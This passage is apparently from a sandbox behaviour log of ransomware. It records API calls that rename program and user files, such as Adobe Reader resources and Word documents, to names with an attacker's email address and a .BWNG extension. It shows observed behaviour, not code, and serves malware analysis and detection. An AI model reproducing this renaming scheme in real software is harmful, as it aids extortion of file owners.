lpPerformanceCount=0x37cfe3c*=24162818120) returned 1 [0099.676] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Mcimpp.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\mcimpp.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\[billwong73@yahoo.com].I40e2YVQ-Ptxp9e9B.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\[billwong73@yahoo.com].i40e2yvq-ptxp9e9b.bwng"), dwFlags=0x1) returned 1 [0099.677] GetTickCount () returned 0x1160a6d [0099.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24162968270) returned 1 [0099.678] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\WindowsMedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\windowsmedia.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\[billwong73@yahoo.com].KSpSIAoo-lev7z5vs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\[billwong73@yahoo.com].kspsiaoo-lev7z5vs.bwng"), dwFlags=0x1) returned 1 [0099.679] GetTickCount () returned 0x1160a6d [0099.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24163113337) returned 1 [0099.679] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\MCIMPP.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\mcimpp.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\[billwong73@yahoo.com].wH8hEhX7-Jp7lD6Jk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\[billwong73@yahoo.com].wh8hehx7-jp7ld6jk.bwng"), dwFlags=0x1) returned 1 [0099.680] GetTickCount () returned 0x1160a6d [0099.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24163271096) returned 1 [0099.681] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\[billwong73@yahoo.com].MhbhXcEz-RxIuzg7F.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\[billwong73@yahoo.com].mhbhxcez-rxiuzg7f.bwng"), dwFlags=0x1) returned 1 [0099.682] GetTickCount () returned 0x1160a6d [0099.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24163415432) returned 1 [0099.682] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].JXYCkkFv-RRrPb0MN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].jxyckkfv-rrrpb0mn.bwng"), dwFlags=0x1) returned 1 [0099.684] GetTickCount () returned 0x1160a6d [0099.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24163601729) returned 1 [0099.684] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].ktDIdrYj-lrkZzwpm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].ktdidryj-lrkzzwpm.bwng"), dwFlags=0x1) returned 1 [0099.788] GetTickCount () returned 0x1160ada [0099.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24174016803) returned 1 [0099.788] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\[billwong73@yahoo.com].o9wnUCbp-VgFJ0dQg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\[billwong73@yahoo.com].o9wnucbp-vgfj0dqg.bwng"), dwFlags=0x1) returned 1 [0100.031] GetTickCount () returned 0x1160bd4 [0100.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24198362006) returned 1 [0100.032] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ra3vz5pu-039WTnVv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ra3vz5pu-039wtnvv.bwng"), dwFlags=0x1) returned 1 [0100.033] GetTickCount () returned 0x1160bd4 [0100.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24198549441) returned 1 [0100.034] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].EgMgFEVd-xBjuFxeT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].egmgfevd-xbjufxet.bwng"), dwFlags=0x1) returned 1 [0100.035] GetTickCount () returned 0x1160bd4 [0100.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24198703333) returned 1 [0100.035] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].4kDkhfZv-mOmZkJES.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].4kdkhfzv-momzkjes.bwng"), dwFlags=0x1) returned 1 [0100.036] GetTickCount () returned 0x1160bd4 [0100.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24198840500) returned 1 [0100.036] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].gFPB2Boa-s2vANNJI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].gfpb2boa-s2vannji.bwng"), dwFlags=0x1) returned 1 [0100.038] GetTickCount () returned 0x1160bd4 [0100.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24198993732) returned 1 [0100.038] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].sV09Wvk6-MWXjfjTi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].sv09wvk6-mwxjfjti.bwng"), dwFlags=0x1) returned 1 [0100.156] GetTickCount () returned 0x1160c51 [0100.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24210815573) returned 1 [0100.156] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].MKPlpHaM-mbOZY2n8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].mkplpham-mbozy2n8.bwng"), dwFlags=0x1) returned 1 [0100.158] GetTickCount () returned 0x1160c51 [0100.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24211160078) returned 1 [0100.160] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].liQORZHi-HgdCxVOJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].liqorzhi-hgdcxvoj.bwng"), dwFlags=0x1) returned 1 [0100.161] GetTickCount () returned 0x1160c51 [0100.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24211320107) returned 1 [0100.161] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Sl2B0np1-DRBZ79Nk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].sl2b0np1-drbz79nk.bwng"), dwFlags=0x1) returned 1 [0100.163] GetTickCount () returned 0x1160c51 [0100.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24211476872) returned 1 [0100.163] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].6zjCndIw-AQja7YyU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].6zjcndiw-aqja7yyu.bwng"), dwFlags=0x1) returned 1 [0100.164] GetTickCount () returned 0x1160c51 [0100.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24211617738) returned 1 [0100.164] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].OvoIkwPz-HvO5AGUv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ovoikwpz-hvo5aguv.bwng"), dwFlags=0x1) returned 1 [0100.165] GetTickCount () returned 0x1160c51 [0100.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24211760829) returned 1 [0100.166] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].X1aqic9g-jqmKcxqM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].x1aqic9g-jqmkcxqm.bwng"), dwFlags=0x1) returned 1 [0100.167] GetTickCount () returned 0x1160c51 [0100.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24211891018) returned 1 [0100.167] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ytkTeNxF-mBCWoLwI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ytktenxf-mbcwolwi.bwng"), dwFlags=0x1) returned 1 [0100.168] GetTickCount () returned 0x1160c60 [0100.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24212052749) returned 1 [0100.168] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].mVa1iG5J-Qs9yWhDG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].mva1ig5j-qs9ywhdg.bwng"), dwFlags=0x1) returned 1 [0100.170] GetTickCount () returned 0x1160c60 [0100.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24212195432) returned 1 [0100.170] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\[billwong73@yahoo.com].FGPgOXOf-oX4yROcO.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\[billwong73@yahoo.com].fgpgoxof-ox4yroco.bwng"), dwFlags=0x1) returned 1 [0100.216] GetTickCount () returned 0x1160c8f [0100.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24216861883) returned 1 [0100.217] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DcX5FI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dcx5fi.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].hhoFA139-Po4RiP4i.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].hhofa139-po4rip4i.bwng"), dwFlags=0x1) returned 1 [0100.315] GetTickCount () returned 0x1160ced [0100.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24226692967) returned 1 [0100.315] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0sNJgS5rj9U_y.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0snjgs5rj9u_y.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].lHnPgxeA-bf7e7YfC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].lhnpgxea-bf7e7yfc.bwng"), dwFlags=0x1) returned 1 [0100.317] GetTickCount () returned 0x1160ced [0100.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24226971159) returned 1 [0100.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t 75.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t 75.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].yzhQgZNY-EWvf78RQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].yzhqgzny-ewvf78rq.bwng"), dwFlags=0x1) returned 1 [0100.319] GetTickCount () returned 0x1160ced [0100.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24227154665) returned 1 [0100.320] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-oblique.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].4LPWTP2c-piE6PHpQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].4lpwtp2c-pie6phpq.bwng"), dwFlags=0x1) returned 1 [0100.321] GetTickCount () returned 0x1160ced [0100.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24227356193) returned 1 [0100.322] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\[billwong73@yahoo.com].KOosZHKc-70kpKqfS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\[billwong73@yahoo.com].kooszhkc-70kpkqfs.bwng"), dwFlags=0x1) returned 1 [0100.323] GetTickCount () returned 0x1160ced [0100.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24227538098) returned 1 [0100.323] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Y6atDIGI-YZePtXkH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].y6atdigi-yzeptxkh.bwng"), dwFlags=0x1) returned 1 [0100.463] GetTickCount () returned 0x1160d79 [0100.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24241534714) returned 1 [0100.463] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\[billwong73@yahoo.com].qkG2joFA-xF0skvgv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\[billwong73@yahoo.com].qkg2jofa-xf0skvgv.bwng"), dwFlags=0x1) returned 1 [0100.465] GetTickCount () returned 0x1160d89 [0100.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24241743219) returned 1 [0100.465] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\[billwong73@yahoo.com].Awh8bewV-vczR70Tv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\[billwong73@yahoo.com].awh8bewv-vczr70tv.bwng"), dwFlags=0x1) returned 1 [0100.467] GetTickCount () returned 0x1160d89 [0100.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24241932173) returned 1 [0100.467] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].7kKG3fO4-jAeMdagd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].7kkg3fo4-jaemdagd.bwng"), dwFlags=0x1) returned 1 [0100.468] GetTickCount () returned 0x1160d89 [0100.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24242066331) returned 1 [0100.469] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].SwoW87OJ-I74DZXjt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].swow87oj-i74dzxjt.bwng"), dwFlags=0x1) returned 1 [0100.470] GetTickCount () returned 0x1160d89 [0100.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24242237680) returned 1 [0100.470] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].kw87v925-E4nAdz3O.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].kw87v925-e4nadz3o.bwng"), dwFlags=0x1) returned 1 [0100.471] GetTickCount () returned 0x1160d89 [0100.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24242362788) returned 1 [0100.472] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].X1lTdQQ6-QCh41Gow.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].x1ltdqq6-qch41gow.bwng"), dwFlags=0x1) returned 1 [0100.473] GetTickCount () returned 0x1160d89 [0100.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24242507140) returned 1 [0100.473] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Y71iw1TQ-xN12wNj5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].y71iw1tq-xn12wnj5.bwng"), dwFlags=0x1) returned 1 [0100.474] GetTickCount () returned 0x1160d89 [0100.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24242658806) returned 1 [0100.475] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].WFRRy1gu-udk0ei2B.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].wfrry1gu-udk0ei2b.bwng"), dwFlags=0x1) returned 1 [0100.476] GetTickCount () returned 0x1160d89 [0100.476] 